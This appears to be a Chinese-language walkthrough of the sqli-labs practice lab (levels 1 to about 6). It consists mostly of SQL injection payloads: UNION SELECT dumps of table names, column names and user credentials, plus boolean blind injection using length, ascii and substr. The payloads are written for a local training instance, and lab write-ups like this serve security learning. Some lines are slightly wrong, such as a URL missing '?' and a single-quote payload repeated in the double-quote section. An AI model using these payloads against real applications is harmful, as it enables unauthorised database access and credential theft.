存在注入点判断
1,加上单引号报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27
2,加上注释符页面正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27--+
注释方式
# 号注释
%23 注释
–+ 注释
3,判断字段数(使用order by)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27order%20by%203%23 # 正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27order%20by%204%23 # 页面显示错误
说明字段数为3
4,执行注入Payload
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3%23
http://127.0.0.1/sqli-labs-master/Less-1/id=-1'%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()%20--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20UNION%20SELECT%201,2,group_concat(column_name)%20FROM%20information_schema.columns%20WHERE%20table_schema%20=%27sqlilabs%27%20AND%20table_name=%27users%27%20--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20UNION%20SELECT%201,group_concat(username%20SEPARATOR%20%27-%27),group_concat(password%20SEPARATOR%20%27-%27)%20FROM%20users%20--+
和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的。
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
当我们在输入**?id=2’**的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
通过下面代码构建就可以进行sql注入。后面所有代码以此为基础进行构造。
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
根据页面报错信息得知sql语句是双引号字符型且有括号,
通过以下代码进行sql注入
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
1,输入单引号测试,有报错信息,返回信息和第一关错误信息一样
2,不管输入id为多少,页面一直都是 you are in …猜测正确的页面不变,不会将查询结果打印到页面了,查看源码发现,确实是不输出结果了,但是会把错误的信息给打印出来.
如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用length(), ascii() , substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
和第五关类似,只要用双引号闭合即可
根据页面报错信息可以猜测id参数是双引号,只需将第五关的单引号换成双引号就可以了。
?id=1"and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1"and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1"and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1"and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1"and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1" and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。